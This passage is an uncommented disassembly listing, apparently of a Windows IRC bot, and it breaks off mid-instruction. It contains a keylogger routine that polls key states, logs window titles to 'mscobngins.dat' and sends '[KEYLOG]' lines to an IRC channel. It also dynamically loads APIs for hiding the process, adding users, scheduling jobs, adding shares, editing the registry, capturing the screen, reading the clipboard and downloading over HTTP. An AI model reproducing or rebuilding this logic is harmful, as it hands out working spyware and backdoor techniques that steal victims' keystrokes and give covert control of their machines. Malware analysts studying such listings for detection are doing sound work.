; CODE XREF: sub_40823C+A0j cmp [ebp+var_8], esi jnz short loc_4083C4 loc_40839D: ; CODE XREF: sub_40823C+47j ; sub_40823C+6Bj ... call dword_44B654 ; WSAGetLastError push eax lea eax, [ebp+var_238] push offset aIdentdErrorSer ; "[IDENTD]: Error: server failed, returne"... push eax call sub_418D70 lea eax, [ebp+var_238] push eax call sub_4035E1 add esp, 10h loc_4083C4: ; CODE XREF: sub_40823C+15Fj push ebx call dword_44B758 ; closesocket push [ebp+var_4] call dword_44B758 ; closesocket push [ebp+arg_0] call sub_416507 pop ecx push esi call ds:dword_4942FC pop edi pop esi pop ebx sub_40823C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4083E7 proc near ; CODE XREF: sub_40C392+3Dp ; sub_40C50A+1C2p ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_4193F0 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_418E70 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_44B710 ; send leave retn sub_4083E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40842D proc near ; CODE XREF: sub_4013F1+314p ; .text:00401A0Ap ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_408448 mov edi, offset aPrivmsg ; "PRIVMSG" loc_408448: ; CODE XREF: sub_40842D+14j push edi call sub_418E70 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_418E70 push [ebp+arg_8] sub esi, eax lea eax, [ebp+var_400] push offset aS_7 ; "%s" push esi push eax call sub_418EF0 lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset aSSS ; "%s %s :%s\r\n" push eax call sub_418D70 add esp, 2Ch lea eax, [ebp+var_200] push 0 push eax call sub_418E70 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_44B710 ; send cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_4084C6 push 7D0h call ds:dword_4942D8 locret_4084C6: ; CODE XREF: sub_40842D+8Cj leave retn sub_40842D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4084C8 proc near ; CODE XREF: sub_4085A9+B4p ; sub_4085A9+253p var_314 = byte ptr -314h var_114 = byte ptr -114h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = byte ptr 14h arg_8C = dword ptr 94h arg_90 = dword ptr 98h push ebp mov ebp, esp sub esp, 314h lea eax, [ebp+var_10] push esi push eax call ds:dword_494314 lea eax, [ebp+var_114] push 104h push eax call ds:dword_494320 lea eax, [ebp+var_114] push offset dword_43994C push eax call sub_419FB0 lea eax, [ebp+var_114] push offset aMscobngins_dat ; "mscobngins.dat" push eax call sub_419FB0 lea eax, [ebp+var_114] push offset dword_439950 push eax call sub_419D70 mov esi, eax add esp, 18h test esi, esi jnz short loc_40852F push 1 pop eax jmp short loc_4085A6 ; --------------------------------------------------------------------------- loc_40852F: ; CODE XREF: sub_4084C8+60j movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi call sub_41AD60 push esi call sub_419740 add esp, 28h cmp [ebp+arg_90], 0 jnz short loc_4085A4 push [ebp+arg_0] lea eax, [ebp+var_314] push offset aKeylogS ; "[KEYLOG]: %s" push 200h push eax call sub_418EF0 push 0 lea eax, [ebp+var_314] push [ebp+arg_8C] push eax lea eax, [ebp+arg_C] push eax push [ebp+arg_4] call sub_40842D add esp, 24h loc_4085A4: ; CODE XREF: sub_4084C8+A3j xor eax, eax loc_4085A6: ; CODE XREF: sub_4084C8+65j pop esi leave retn sub_4084C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4085A9 proc near ; DATA XREF: sub_40C50A+1F23o var_8DC = dword ptr -8DCh var_8D8 = byte ptr -8D8h var_4DC = byte ptr -4DCh var_2DD = byte ptr -2DDh var_2DC = byte ptr -2DCh var_DC = byte ptr -0DCh var_D8 = dword ptr -0D8h var_48 = byte ptr -48h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8DCh mov eax, [ebp+arg_0] push ebx push esi push edi and [ebp+var_8DC], 0 push 25h and [ebp+var_4], 0 pop ecx mov esi, eax lea edi, [ebp+var_DC] rep movsd mov dword ptr [eax+90h], 1 mov ecx, 0FFh xor eax, eax lea edi, [ebp+var_8D8] rep stosd call dword_44B648 ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_44B65C ; GetWindowTextA mov ebx, 200h loc_408604: ; CODE XREF: sub_4085A9+2C7j push 8 call ds:dword_4942D8 call dword_44B648 ; GetForegroundWindow cmp eax, [ebp+var_8] jz short loc_40868C lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_44B65C ; GetWindowTextA lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax lea eax, [ebp+var_4DC] push offset aSChangedWindow ; "%s (Changed Windows: %s)" push eax call sub_418D70 sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+var_4DC] push 25h pop ecx mov edi, esp push eax rep movsd call sub_4084C8 mov [ebp+var_4], eax push ebx lea eax, [ebp+var_2DC] push 0 push eax call sub_4189A0 add esp, 0A4h lea eax, [ebp+var_4DC] push ebx push 0 push eax call sub_4189A0 add esp, 0Ch loc_40868C: ; CODE XREF: sub_4085A9+6Cj mov [ebp+arg_0], offset aB ; "b" loc_408693: ; CODE XREF: sub_4085A9+2BDj push 10h call dword_44B5A0 ; GetKeyState movsx esi, ax mov eax, [ebp+arg_0] mov edi, [eax-4] push edi call dword_44B68C ; GetAsyncKeyState test ah, 80h jz short loc_40872B push 14h call dword_44B5A0 ; GetKeyState test ax, ax jz short loc_4086DC cmp esi, 0FFFFFFFFh jle short loc_4086DC cmp edi, 40h jle short loc_4086DC cmp edi, 5Bh jge short loc_4086DC mov [ebp+edi*4+var_8DC], 1 jmp loc_40885B ; --------------------------------------------------------------------------- loc_4086DC: ; CODE XREF: sub_4085A9+112j ; sub_4085A9+117j ... push 14h call dword_44B5A0 ; GetKeyState test ax, ax jz short loc_408707 test esi, esi jge short loc_40871B cmp edi, 40h jle short loc_408707 cmp edi, 5Bh jge short loc_408707 mov [ebp+edi*4+var_8DC], 2 jmp loc_40885B ; --------------------------------------------------------------------------- loc_408707: ; CODE XREF: sub_4085A9+13Ej ; sub_4085A9+147j ... test esi, esi jge short loc_40871B mov [ebp+edi*4+var_8DC], 3 jmp loc_40885B ; --------------------------------------------------------------------------- loc_40871B: ; CODE XREF: sub_4085A9+142j ; sub_4085A9+160j mov [ebp+edi*4+var_8DC], 4 jmp loc_40885B ; --------------------------------------------------------------------------- loc_40872B: ; CODE XREF: sub_4085A9+105j mov esi, [ebp+edi*4+var_8DC] lea eax, [ebp+edi*4+var_8DC] test esi, esi jz loc_40885B and dword ptr [eax], 0 lea eax, [ebp+var_2DC] cmp edi, 8 push eax jnz short loc_408763 call sub_418E70 and [ebp+eax+var_2DD], 0 pop ecx jmp loc_40885B ; --------------------------------------------------------------------------- loc_408763: ; CODE XREF: sub_4085A9+1A5j call sub_418E70 cmp eax, 1B9h pop ecx jbe short loc_408795 call dword_44B648 ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_44B65C ; GetWindowTextA lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax push offset aSBufferFullS ; "%s (Buffer full) (%s)" jmp short loc_4087D6 ; --------------------------------------------------------------------------- loc_408795: ; CODE XREF: sub_4085A9+1C5j cmp edi, 0Dh jnz loc_40882D lea eax, [ebp+var_2DC] push eax call sub_418E70 test eax, eax pop ecx jz loc_40885B call dword_44B648 ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_44B65C ; GetWindowTextA lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax push offset aSReturnS ; "%s (Return) (%s)" loc_4087D6: ; CODE XREF: sub_4085A9+1EAj lea eax, [ebp+var_4DC] push eax call sub_418D70 sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+var_4DC] push 25h pop ecx mov edi, esp push eax rep movsd call sub_4084C8 mov [ebp+var_4], eax push ebx lea eax, [ebp+var_2DC] push 0 push eax call sub_4189A0 add esp, 0A4h lea eax, [ebp+var_4DC] push ebx push 0 push eax call sub_4189A0 add esp, 0Ch jmp short loc_40885B ; --------------------------------------------------------------------------- loc_40882D: ; CODE XREF: sub_4085A9+1EFj cmp esi, 1 jz short loc_408846 cmp esi, 3 jz short loc_408846 cmp esi, 2 jz short loc_408841 cmp esi, 4 jnz short loc_40885B loc_408841: ; CODE XREF: sub_4085A9+291j push [ebp+arg_0] jmp short loc_40884D ; --------------------------------------------------------------------------- loc_408846: ; CODE XREF: sub_4085A9+287j ; sub_4085A9+28Cj mov eax, [ebp+arg_0] add eax, 7 push eax loc_40884D: ; CODE XREF: sub_4085A9+29Bj lea eax, [ebp+var_2DC] push eax call sub_419FB0 pop ecx pop ecx loc_40885B: ; CODE XREF: sub_4085A9+12Ej ; sub_4085A9+159j ... add [ebp+arg_0], 14h cmp [ebp+arg_0], offset dword_439914 jl loc_408693 cmp [ebp+var_4], 0 jz loc_408604 push [ebp+var_D8] call sub_416507 pop ecx push 0 call ds:dword_4942FC sub_4085A9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40888A proc near ; CODE XREF: sub_40BBCB+4Bp push ebx push ebp mov ebp, ds:dword_494380 push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp mov esi, ds:dword_494348 mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_4089AA push offset aSeterrormode ; "SetErrorMode" push edi call esi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_44B76C, eax call esi push offset aProcess32first ; "Process32First" push edi mov dword_44B6E0, eax call esi push offset aProcess32next ; "Process32Next" push edi mov dword_44B6C4, eax call esi push offset aModule32first ; "Module32First" push edi mov dword_44B5E0, eax call esi push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_44B58C, eax call esi push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_44B5BC, eax call esi push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_44B630, eax call esi push offset aSearchpatha ; "SearchPathA" push edi mov dword_44B720, eax call esi push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_44B77C, eax call esi push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_44B5EC, eax call esi cmp dword_44B76C, ebx mov dword_44B5D4, eax jz short loc_408988 cmp dword_44B6E0, ebx jz short loc_408988 cmp dword_44B6C4, ebx jz short loc_408988 cmp dword_44B5E0, ebx jz short loc_408988 cmp dword_44B5BC, ebx jz short loc_408988 cmp dword_44B630, ebx jz short loc_408988 cmp dword_44B720, ebx jz short loc_408988 cmp dword_44B77C, ebx jz short loc_408988 cmp dword_44B5EC, ebx jz short loc_408988 cmp eax, ebx jnz short loc_408992 loc_408988: ; CODE XREF: sub_40888A+B8j ; sub_40888A+C0j ... mov dword_44B780, 1 loc_408992: ; CODE XREF: sub_40888A+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi cmp eax, ebx mov dword_44B6F8, eax jz short loc_4089BF push 1 push ebx call eax jmp short loc_4089BF ; --------------------------------------------------------------------------- loc_4089AA: ; CODE XREF: sub_40888A+1Dj call ds:dword_4942F0 mov dword_44B784, eax mov dword_44B780, 1 loc_4089BF: ; CODE XREF: sub_40888A+117j ; sub_40888A+11Ej push offset aUser32_dll ; "user32.dll" call ds:dword_49434C mov edi, eax cmp edi, ebx jz loc_408AD4 push offset aSendmessagea ; "SendMessageA" push edi call esi push offset aFindwindowa ; "FindWindowA" push edi mov dword_44B71C, eax call esi push offset aIswindow ; "IsWindow" push edi mov dword_44B6CC, eax call esi push offset aDestroywindow ; "DestroyWindow" push edi mov dword_44B660, eax call esi push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_44B770, eax call esi push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_44B690, eax call esi push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_44B6B0, eax call esi push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_44B714, eax call esi cmp dword_44B71C, ebx mov dword_44B608, eax jz short loc_408A78 cmp dword_44B6CC, ebx jz short loc_408A78 cmp dword_44B660, ebx jz short loc_408A78 cmp dword_44B770, ebx jz short loc_408A78 cmp dword_44B690, ebx jz short loc_408A78 cmp dword_44B6B0, ebx jz short loc_408A78 cmp dword_44B714, ebx jz short loc_408A78 cmp eax, ebx jnz short loc_408A82 loc_408A78: ; CODE XREF: sub_40888A+1B8j ; sub_40888A+1C0j ... mov dword_44B788, 1 loc_408A82: ; CODE XREF: sub_40888A+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi push offset aGetkeystate ; "GetKeyState" push edi mov dword_44B68C, eax call esi push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_44B5A0, eax call esi push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_44B65C, eax call esi cmp dword_44B68C, ebx mov dword_44B648, eax jz short loc_408ADF cmp dword_44B5A0, ebx jz short loc_408ADF cmp dword_44B65C, ebx jz short loc_408ADF cmp eax, ebx jnz short loc_408AE9 jmp short loc_408ADF ; --------------------------------------------------------------------------- loc_408AD4: ; CODE XREF: sub_40888A+144j call ds:dword_4942F0 mov dword_44B78C, eax loc_408ADF: ; CODE XREF: sub_40888A+232j ; sub_40888A+23Aj ... mov dword_44B788, 1 loc_408AE9: ; CODE XREF: sub_40888A+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_408C84 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_44B730, eax call esi push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_44B674, eax call esi push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_44B6E4, eax call esi push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_44B5CC, eax call esi push offset aRegclosekey ; "RegCloseKey" push edi mov dword_44B62C, eax call esi cmp dword_44B730, ebx mov dword_44B69C, eax jz short loc_408B74 cmp dword_44B674, ebx jz short loc_408B74 cmp dword_44B6E4, ebx jz short loc_408B74 cmp dword_44B5CC, ebx jz short loc_408B74 cmp dword_44B62C, ebx jz short loc_408B74 cmp eax, ebx jnz short loc_408B7E loc_408B74: ; CODE XREF: sub_40888A+2C4j ; sub_40888A+2CCj ... mov dword_44B790, 1 loc_408B7E: ; CODE XREF: sub_40888A+2E8j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_44B6A4, eax call esi push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_44B67C, eax call esi cmp dword_44B6A4, ebx mov dword_44B72C, eax jz short loc_408BB9 cmp dword_44B67C, ebx jz short loc_408BB9 cmp eax, ebx jnz short loc_408BC3 loc_408BB9: ; CODE XREF: sub_40888A+321j ; sub_40888A+329j mov dword_44B790, 1 loc_408BC3: ; CODE XREF: sub_40888A+32Dj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi push offset aOpenservicea ; "OpenServiceA" push edi mov dword_44B6B4, eax call esi push offset aStartservicea ; "StartServiceA" push edi mov dword_44B5A8, eax call esi push offset aControlservice ; "ControlService" push edi mov dword_44B5B0, eax call esi push offset aDeleteservice ; "DeleteService" push edi mov dword_44B610, eax call esi push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_44B614, eax call esi push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_44B5C4, eax call esi push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_44B680, eax call esi cmp dword_44B6B4, ebx mov dword_44B5B4, eax jz short loc_408C67 cmp dword_44B5A8, ebx jz short loc_408C67 cmp dword_44B5B0, ebx jz short loc_408C67 cmp dword_44B610, ebx jz short loc_408C67 cmp dword_44B614, ebx jz short loc_408C67 cmp dword_44B5C4, ebx jz short loc_408C67 cmp dword_44B680, ebx jz short loc_408C67 cmp eax, ebx jnz short loc_408C71 loc_408C67: ; CODE XREF: sub_40888A+3A7j ; sub_40888A+3AFj ... mov dword_44B790, 1 loc_408C71: ; CODE XREF: sub_40888A+3DBj push offset aGetusernamea ; "GetUserNameA" push edi call esi cmp eax, ebx mov dword_44B5AC, eax jnz short loc_408C99 jmp short loc_408C8F ; --------------------------------------------------------------------------- loc_408C84: ; CODE XREF: sub_40888A+26Aj call ds:dword_4942F0 mov dword_44B794, eax loc_408C8F: ; CODE XREF: sub_40888A+3F8j mov dword_44B790, 1 loc_408C99: ; CODE XREF: sub_40888A+3F6j push offset aGdi32_dll ; "gdi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_408D65 push offset aCreatedca ; "CreateDCA" push edi call esi push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_44B6AC, eax call esi push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_44B704, eax call esi push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_44B70C, eax call esi push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_44B6C8, eax call esi push offset aSelectobject ; "SelectObject" push edi mov dword_44B5F0, eax call esi push offset aBitblt ; "BitBlt" push edi mov dword_44B59C, eax call esi push offset aDeletedc ; "DeleteDC" push edi mov dword_44B708, eax call esi push offset aDeleteobject ; "DeleteObject" push edi mov dword_44B588, eax call esi cmp dword_44B6AC, ebx mov dword_44B624, eax jz short loc_408D70 cmp dword_44B704, ebx jz short loc_408D70 cmp dword_44B70C, ebx jz short loc_408D70 cmp dword_44B6C8, ebx jz short loc_408D70 cmp dword_44B5F0, ebx jz short loc_408D70 cmp dword_44B59C, ebx jz short loc_408D70 cmp dword_44B708, ebx jz short loc_408D70 cmp dword_44B588, ebx jz short loc_408D70 cmp eax, ebx jnz short loc_408D7A jmp short loc_408D70 ; --------------------------------------------------------------------------- loc_408D65: ; CODE XREF: sub_40888A+41Aj call ds:dword_4942F0 mov dword_44B79C, eax loc_408D70: ; CODE XREF: sub_40888A+49Bj ; sub_40888A+4A3j ... mov dword_44B798, 1 loc_408D7A: ; CODE XREF: sub_40888A+4D7j mov ebp, ds:dword_49434C push offset aWs2_32_dll ; "ws2_32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409036 push offset aWsastartup ; "WSAStartup" push edi call esi push offset aWsasocketa ; "WSASocketA" push edi mov dword_44B638, eax call esi push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_44B764, eax call esi push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_44B5DC, eax call esi push offset aWsaioctl ; "WSAIoctl" push edi mov dword_44B5B8, eax call esi push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_44B66C, eax call esi push offset aWsacleanup ; "WSACleanup" push edi mov dword_44B654, eax call esi push offset aSocket ; "socket" push edi mov dword_44B620, eax call esi push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_44B740, eax call esi push offset aConnect ; "connect" push edi mov dword_44B75C, eax call esi push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_44B668, eax call esi push offset aInet_addr ; "inet_addr" push edi mov dword_44B74C, eax call esi push offset aHtons ; "htons" push edi mov dword_44B700, eax call esi push offset aHtonl ; "htonl" push edi mov dword_44B6C0, eax call esi push offset aNtohs ; "ntohs" push edi mov dword_44B6BC, eax call esi push offset aNtohl ; "ntohl" push edi mov dword_44B5FC, eax call esi push offset aSend ; "send" push edi mov dword_44B5F4, eax call esi push offset aSendto ; "sendto" push edi mov dword_44B710, eax call esi push offset aRecv ; "recv" push edi mov dword_44B724, eax call esi push offset aRecvfrom ; "recvfrom" push edi mov dword_44B6D8, eax call esi mov dword_44B698, eax push offset aBind ; "bind" push edi call esi push offset aSelect ; "select" push edi mov dword_44B6EC, eax call esi push offset aListen ; "listen" push edi mov dword_44B6A8, eax call esi push offset aAccept ; "accept" push edi mov dword_44B6E8, eax call esi push offset aSetsockopt ; "setsockopt" push edi mov dword_44B754, eax call esi push offset aGetsockname ; "getsockname" push edi mov dword_44B6A0, eax call esi push offset aGethostname ; "gethostname" push edi mov dword_44B664, eax call esi push offset aGethostbyname ; "gethostbyname" push edi mov dword_44B6D4, eax call esi push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_44B744, eax call esi push offset aGetpeername ; "getpeername" push edi mov dword_44B678, eax call esi push offset aClosesocket ; "closesocket" push edi mov dword_44B61C, eax call esi cmp dword_44B638, ebx mov dword_44B758, eax jz loc_409041 cmp dword_44B764, ebx jz loc_409041 cmp dword_44B5DC, ebx jz loc_409041 cmp dword_44B66C, ebx jz loc_409041 cmp dword_44B654, ebx jz loc_409041 cmp dword_44B620, ebx jz loc_409041 cmp dword_44B740, ebx jz loc_409041 cmp dword_44B75C, ebx jz loc_409041 cmp dword_44B668, ebx jz loc_409041 cmp dword_44B74C, ebx jz loc_409041 cmp dword_44B700, ebx jz loc_409041 cmp dword_44B6C0, ebx jz loc_409041 cmp dword_44B6BC, ebx jz loc_409041 cmp dword_44B5FC, ebx jz short loc_409041 cmp dword_44B710, ebx jz short loc_409041 cmp dword_44B724, ebx jz short loc_409041 cmp dword_44B6D8, ebx jz short loc_409041 cmp dword_44B698, ebx jz short loc_409041 cmp dword_44B6EC, ebx jz short loc_409041 cmp dword_44B6A8, ebx jz short loc_409041 cmp dword_44B6E8, ebx jz short loc_409041 cmp dword_44B754, ebx jz short loc_409041 cmp dword_44B6A0, ebx jz short loc_409041 cmp dword_44B664, ebx jz short loc_409041 cmp dword_44B6D4, ebx jz short loc_409041 cmp dword_44B744, ebx jz short loc_409041 cmp dword_44B678, ebx jz short loc_409041 cmp eax, ebx jnz short loc_40904B jmp short loc_409041 ; --------------------------------------------------------------------------- loc_409036: ; CODE XREF: sub_40888A+501j call ds:dword_4942F0 mov dword_44B7A4, eax loc_409041: ; CODE XREF: sub_40888A+6A0j ; sub_40888A+6ACj ... mov dword_44B7A0, 1 loc_40904B: ; CODE XREF: sub_40888A+7A8j push offset aWininet_dll ; "wininet.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409150 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_44B604, eax call esi push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_44B590, eax call esi push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_44B688, eax call esi push offset aInternetconnec ; "InternetConnectA" push edi mov dword_44B63C, eax call esi push offset aInternetopena ; "InternetOpenA" push edi mov dword_44B694, eax call esi push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_44B658, eax call esi push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_44B5D0, eax call esi push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_44B5C8, eax call esi push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_44B5D8, eax call esi cmp dword_44B604, ebx mov ecx, dword_44B658 mov dword_44B6F4, eax jz short loc_40912C cmp dword_44B590, ebx jz short loc_40912C cmp dword_44B688, ebx jz short loc_40912C cmp dword_44B63C, ebx jz short loc_40912C cmp dword_44B694, ebx jz short loc_40912C cmp ecx, ebx jz short loc_40912C cmp dword_44B5D0, ebx jz short loc_40912C cmp dword_44B5C8, ebx jz short loc_40912C cmp dword_44B5D8, ebx jz short loc_40912C cmp eax, ebx jnz short loc_409136 loc_40912C: ; CODE XREF: sub_40888A+860j ; sub_40888A+868j ... mov dword_44B7A8, 1 loc_409136: ; CODE XREF: sub_40888A+8A0j cmp ecx, ebx jz short loc_40916B push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx ; InternetOpenA cmp eax, ebx mov dword_44B670, eax jnz short loc_40916B jmp short loc_409165 ; --------------------------------------------------------------------------- loc_409150: ; CODE XREF: sub_40888A+7CCj call ds:dword_4942F0 mov dword_44B7AC, eax mov dword_44B7A8, 1 loc_409165: ; CODE XREF: sub_40888A+8C4j mov dword_44B670, ebx loc_40916B: ; CODE XREF: sub_40888A+8AEj ; sub_40888A+8C2j push offset aIcmp_dll ; "icmp.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_4091B5 push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_44B64C, eax call esi push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_44B778, eax call esi cmp dword_44B64C, ebx mov dword_44B5E4, eax jz short loc_4091C0 cmp dword_44B778, ebx jz short loc_4091C0 cmp eax, ebx jnz short loc_4091CA jmp short loc_4091C0 ; --------------------------------------------------------------------------- loc_4091B5: ; CODE XREF: sub_40888A+8ECj call ds:dword_4942F0 mov dword_44B7B4, eax loc_4091C0: ; CODE XREF: sub_40888A+91Bj ; sub_40888A+923j ... mov dword_44B7B0, 1 loc_4091CA: ; CODE XREF: sub_40888A+927j push offset aNetapi32_dll ; "netapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_4092C0 push offset aNetshareadd ; "NetShareAdd" push edi call esi push offset aNetsharedel ; "NetShareDel" push edi mov dword_44B5C0, eax call esi push offset aNetshareenum ; "NetShareEnum" push edi mov dword_44B598, eax call esi push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_44B60C, eax call esi push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_44B640, eax call esi push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_44B750, eax call esi push offset aNetuseradd ; "NetUserAdd" push edi mov dword_44B5F8, eax call esi push offset aNetuserdel ; "NetUserDel" push edi mov dword_44B5A4, eax call esi push offset aNetuserenum ; "NetUserEnum" push edi mov dword_44B594, eax call esi push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_44B628, eax call esi push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_44B718, eax call esi cmp dword_44B5C0, ebx mov dword_44B6D0, eax jz short loc_4092CB cmp dword_44B598, ebx jz short loc_4092CB cmp dword_44B60C, ebx jz short loc_4092CB cmp dword_44B640, ebx jz short loc_4092CB cmp dword_44B750, ebx jz short loc_4092CB cmp dword_44B5F8, ebx jz short loc_4092CB cmp dword_44B5A4, ebx jz short loc_4092CB cmp dword_44B594, ebx jz short loc_4092CB cmp dword_44B628, ebx jz short loc_4092CB cmp dword_44B718, ebx jz short loc_4092CB cmp eax, ebx jnz short loc_4092D5 jmp short loc_4092CB ; --------------------------------------------------------------------------- loc_4092C0: ; CODE XREF: sub_40888A+94Bj call ds:dword_4942F0 mov dword_44B7BC, eax loc_4092CB: ; CODE XREF: sub_40888A+9E6j ; sub_40888A+9EEj ... mov dword_44B7B8, 1 loc_4092D5: ; CODE XREF: sub_40888A+A32j push offset aDnsapi_dll ; "dnsapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40930A push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_44B5E8, eax call esi cmp dword_44B5E8, ebx mov dword_44B6B8, eax jz short loc_409315 cmp eax, ebx jnz short loc_40931F jmp short loc_409315 ; --------------------------------------------------------------------------- loc_40930A: ; CODE XREF: sub_40888A+A56j call ds:dword_4942F0 mov dword_44B7C4, eax loc_409315: ; CODE XREF: sub_40888A+A78j ; sub_40888A+A7Ej mov dword_44B7C0, 1 loc_40931F: ; CODE XREF: sub_40888A+A7Cj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_409354 push offset aGetipnettable ; "GetIpNetTable" push edi call esi push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_44B73C, eax call esi cmp dword_44B73C, ebx mov dword_44B738, eax jz short loc_40935F cmp eax, ebx jnz short loc_409369 jmp short loc_40935F ; --------------------------------------------------------------------------- loc_409354: ; CODE XREF: sub_40888A+AA0j call ds:dword_4942F0 mov dword_44B7CC, eax loc_40935F: ; CODE XREF: sub_40888A+AC2j ; sub_40888A+AC8j mov dword_44B7C8, 1 loc_409369: ; CODE XREF: sub_40888A+AC6j push offset aMpr_dll ; "mpr.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_4093C8 push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_44B768, eax call esi push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_44B760, eax call esi push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov 